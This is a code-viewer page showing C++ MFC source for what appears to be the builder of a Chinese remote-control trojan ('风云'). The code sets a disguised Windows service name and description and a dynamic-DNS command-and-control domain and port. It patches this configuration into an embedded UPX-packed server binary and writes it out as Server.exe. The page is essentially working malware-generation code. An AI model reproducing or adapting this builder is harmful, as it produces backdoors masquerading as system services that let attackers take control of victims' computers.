📄 风云dlg.cpp
字号:
// 风云Dlg.cpp : implementation file
//
#include "stdafx.h"
#include "风云.h"
#include "风云Dlg.h"
struct MODIFY_DATA
{
char ws_svcname[32];
char ws_svcdisplay[128];
char ws_svcdesc[256];
char url[256];
int port;
}
modify_data =
{
"1",
"111",
"111",
"1.3322.org",
2014,
};
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMyDlg dialog
CMyDlg::CMyDlg(CWnd* pParent /*=NULL*/)
: CDialog(CMyDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CMyDlg)
m_ServerName = _T("RemoteStorage");
m_ServerDisplay = _T("Windows Accounts Driver");
m_ServerDesc = _T("Network Connections Management");
m_Domain = _T("fengyun.3322.org");
m_Port = 2140;
//}}AFX_DATA_INIT
// Note that LoadIcon does not require a subsequent DestroyIcon in Win32
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CMyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CMyDlg)
DDX_Text(pDX, IDC_EDIT_SVCNAME, m_ServerName);
DDX_Text(pDX, IDC_EDIT_SVCDISP, m_ServerDisplay);
DDX_Text(pDX, IDC_EDIT_SVCDESC, m_ServerDesc);
DDX_Text(pDX, IDC_EDIT_DOMAIN, m_Domain);
DDX_Text(pDX, IDC_EDIT_PORT, m_Port);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CMyDlg, CDialog)
//{{AFX_MSG_MAP(CMyDlg)
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BUTTON_MAKESERVER, OnButtonMakeserver)
ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CMyDlg message handlers
BOOL CMyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
return TRUE; // return TRUE unless you set the focus to a control
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CMyDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CMyDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CMyDlg::OnOK() {}
void CMyDlg::OnButtonMakeserver()
{
// TODO: Add your control notification handler code here
UpdateData();
GetDlgItem(IDC_BUTTON_MAKESERVER)->EnableWindow(false);
/*
if(m_IPFile.GetLength()<2||m_Pass<1000||m_Pass>9999)
{
MessageBox("配置信息填写错误!","服务端配置");
GetDlgItem(IDC_CREATE)->EnableWindow(true);
return;
}
else
{
strcpy(modify_data.IPFile,m_IPFile);
sprintf(modify_data.ConnectPass,"%d",m_Pass);
strcpy(modify_data.strExeName, m_ExeName);
strcpy(modify_data.strServiceName, m_ServiceName);
strcpy(modify_data.strDisplayName, m_ServiceDisplay);
modify_data.bBypasRepair = m_HuanYuan;
}
/////////////////////////////////////////////////////////
*/
HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize,dwWritten;
LPBYTE p;
HANDLE hFile;
// 查找所需的资源
hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER),"UPX");
if(hResInfo == NULL) return;
// 获得资源尺寸
dwSize = SizeofResource(NULL,hResInfo);
// 装载资源
hResData = LoadResource(NULL,hResInfo);
if(hResData == NULL) return;
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL) return;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
CopyMemory((LPVOID)(p + 0x4810), (LPCVOID)&modify_data,sizeof(MODIFY_DATA));//填充配置信息
char Path[256];
GetCurrentDirectory(256, Path);
strcat(Path,"\\Server.exe");
DeleteFile(Path);
hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile == NULL) return;
WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL);
CloseHandle(hFile);
::MessageBox(NULL,"生成服务端Server.exe!","楚茗制作",MB_OK);
GetDlgItem(IDC_BUTTON_MAKESERVER)->EnableWindow(true);
}
void CMyDlg::OnButton1()
{
// TODO: Add your control notification handler code here
CDialog::OnCancel();
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -